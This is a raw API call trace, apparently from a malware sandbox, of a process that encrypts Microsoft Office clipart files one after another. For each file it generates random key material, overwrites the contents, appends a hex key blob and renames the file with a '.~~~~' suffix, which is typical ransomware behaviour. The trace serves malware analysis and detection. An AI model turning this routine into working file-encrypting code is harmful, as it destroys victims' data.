	[0097.638] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.638] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.638] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21762811035) returned 1
	[0097.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3e92670, dwHighDateTime=0x1d60e1e)) 
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841060
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841060 | out: hHeap=0x300000) returned 1
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280cbc8
	[0097.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.639] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.639] GetLastError () returned 0x0
	[0097.639] GetLastError () returned 0x0
	[0097.639] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.639] GetLastError () returned 0x0
	[0097.639] GetLastError () returned 0x0
	[0097.752] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffa7fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.752] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5804, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x5804, lpOverlapped=0x0) returned 1
	[0097.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.756] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.756] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.756] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.756] CloseHandle (hObject=0xc4) returned 1
	[0097.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.769] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.~~~~")) returned 1
	[0097.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.770] GetLastError () returned 0x0
	[0097.770] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.771] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.771] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.771] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21776162219) returned 1
	[0097.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3fc3170, dwHighDateTime=0x1d60e1e)) 
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841300
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841300 | out: hHeap=0x300000) returned 1
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280ce28
	[0097.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.772] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.772] GetLastError () returned 0x0
	[0097.772] GetLastError () returned 0x0
	[0097.772] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.772] GetLastError () returned 0x0
	[0097.773] GetLastError () returned 0x0
	[0097.820] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc8cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.820] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x3734, lpOverlapped=0x0) returned 1
	[0097.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.821] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.821] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.821] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.821] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.821] CloseHandle (hObject=0xc4) returned 1
	[0097.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.822] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.~~~~")) returned 1
	[0097.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.822] GetLastError () returned 0x0
	[0097.823] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.824] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.824] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.824] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21781393367) returned 1
	[0097.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa405b6f0, dwHighDateTime=0x1d60e1e)) 
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28413a8
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28413a8 | out: hHeap=0x300000) returned 1
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d548
	[0097.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.824] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.825] GetLastError () returned 0x0
	[0097.825] GetLastError () returned 0x0
	[0097.825] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.825] GetLastError () returned 0x0
	[0097.825] GetLastError () returned 0x0
	[0097.886] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff664, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.886] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x99c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x99c, lpOverlapped=0x0) returned 1
	[0097.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.887] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.887] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.887] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.887] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.887] CloseHandle (hObject=0xc4) returned 1
	[0097.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.~~~~")) returned 1
	[0097.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.889] GetLastError () returned 0x0
	[0097.889] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.890] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.890] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.890] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21788036908) returned 1
	[0097.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa40f3c70, dwHighDateTime=0x1d60e1e)) 
	[0097.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa048
	[0097.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa048 | out: hHeap=0x300000) returned 1
	[0097.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d710
	[0097.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.891] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.891] GetLastError () returned 0x0
	[0097.891] GetLastError () returned 0x0
	[0097.891] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.891] GetLastError () returned 0x0
	[0097.891] GetLastError () returned 0x0
	[0097.957] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd3e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.957] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2c18, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2c18, lpOverlapped=0x0) returned 1
	[0097.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0097.959] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.959] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.959] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.959] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.959] CloseHandle (hObject=0xc4) returned 1
	[0097.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.~~~~")) returned 1
	[0097.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.961] GetLastError () returned 0x0
	[0097.961] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.962] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.963] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21795284005) returned 1
	[0097.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa41b2350, dwHighDateTime=0x1d60e1e)) 
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa0b8
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0b8 | out: hHeap=0x300000) returned 1
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d970
	[0097.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.964] GetLastError () returned 0x0
	[0097.964] GetLastError () returned 0x0
	[0097.964] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.964] GetLastError () returned 0x0
	[0097.964] GetLastError () returned 0x0
	[0098.051] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffef6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.051] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1094, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1094, lpOverlapped=0x0) returned 1
	[0098.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0098.052] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.052] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.053] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.053] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.053] CloseHandle (hObject=0xc4) returned 1
	[0098.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.~~~~")) returned 1
	[0098.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
